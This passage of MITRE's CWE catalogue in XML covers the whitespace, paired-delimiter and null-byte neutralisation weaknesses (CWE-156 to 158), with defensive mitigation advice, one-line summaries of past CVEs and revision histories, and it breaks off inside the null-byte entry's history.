            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Wildcard or Matching Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Wildcard or Matching Element</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Wildcard or Matching Symbol</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Wildcards or Matching Symbols</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="156" Name="Improper Neutralization of Whitespace" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as whitespace when they are sent to a downstream component.</Description>
         <Extended_Description>This can include space, tab, etc.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>White space</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that whitespace will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0637</Reference>
               <Description>MIE. virus protection bypass with RFC violations involving extra whitespace, or missing whitespace.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0942</Reference>
               <Description>CPU consumption with MIME headers containing lines with many space characters, probably due to algorithmic complexity (RESOURCE.AMP.ALG).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0942</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1015</Reference>
               <Description>MIE. whitespace interpreted differently by mail clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1015</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_ID>SPEC.WHITESPACE</Entry_ID>
               <Entry_Name>Whitespace</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Can overlap other separator characters or delimiters.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-01-30">Whitespace</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-04-11">Failure to Remove Whitespace</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Whitespace</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Whitespace</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="157" Name="Failure to Sanitize Paired Delimiters" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.</Description>
         <Extended_Description>
            <xhtml:p>Paired delimiters might include:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>&lt; and &gt; angle brackets</xhtml:li>
                  <xhtml:li>( and ) parentheses</xhtml:li>
                  <xhtml:li>{ and } braces</xhtml:li>
                  <xhtml:li>[ and ] square brackets</xhtml:li>
                  <xhtml:li>" " double quotes</xhtml:li>
                  <xhtml:li>' ' single quotes</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-0956</Reference>
               <Description>Crash via missing paired delimiter (open double-quote but no closing double-quote).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0956</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1165</Reference>
               <Description>Crash via message without closing "&gt;".</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1165</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2933</Reference>
               <Description>Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2933</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Grouping Element / Paired Delimiter</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="15"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Research Gap">Under-studied.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Grouping Element / Paired Delimiter</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="158" Name="Improper Neutralization of Null Byte or NUL Character" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.</Description>
         <Extended_Description>As data is parsed, an injected NUL character or null byte may cause the product to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="138" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Description>Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-1284</Reference>
               <Description>NUL byte in theme name causes directory traversal impact to be worse</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1284</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2008</Reference>
               <Description>Source code disclosure using trailing null.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2008</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3293</Reference>
               <Description>Source code disclosure using trailing null.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3293</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2061</Reference>
               <Description>Trailing null allows file include.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1774</Reference>
               <Description>Null character in MIME header allows detection bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1774</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0149</Reference>
               <Description>Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0149</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0671</Reference>
               <Description>Web server earlier allows allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0671</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0738</Reference>
               <Description>Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0738</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1140</Reference>
               <Description>Web server allows source code for executable programs to be read via a null character (%00) at the end of a request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1140</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1031</Reference>
               <Description>Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1031</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1025</Reference>
               <Description>Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1025</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0768</Reference>
               <Description>XSS protection mechanism only checks for sequences with an alphabetical character following a (&lt;), so a non-alphabetical or null character (%00) following a &lt; may be processed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0768</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0189</Reference>
               <Description>Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0189</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3153</Reference>
               <Description>Null byte bypasses PHP regexp check (interaction error).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3153</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4155</Reference>
               <Description>Null byte bypasses PHP regexp check (interaction error).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4155</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Null Character / Null Byte</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>28</Entry_ID>
               <Entry_Name>Null Byte Injection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP24</Entry_ID>
               <Entry_Name>Tainted input to command</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 8, &#34;NUL Character Injection&#34;, Page 411"/>
         </References>
         <Notes>
            <Note Type="Relationship">This can be a factor in multiple interpretation errors, other interaction errors, filename equivalence, etc.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
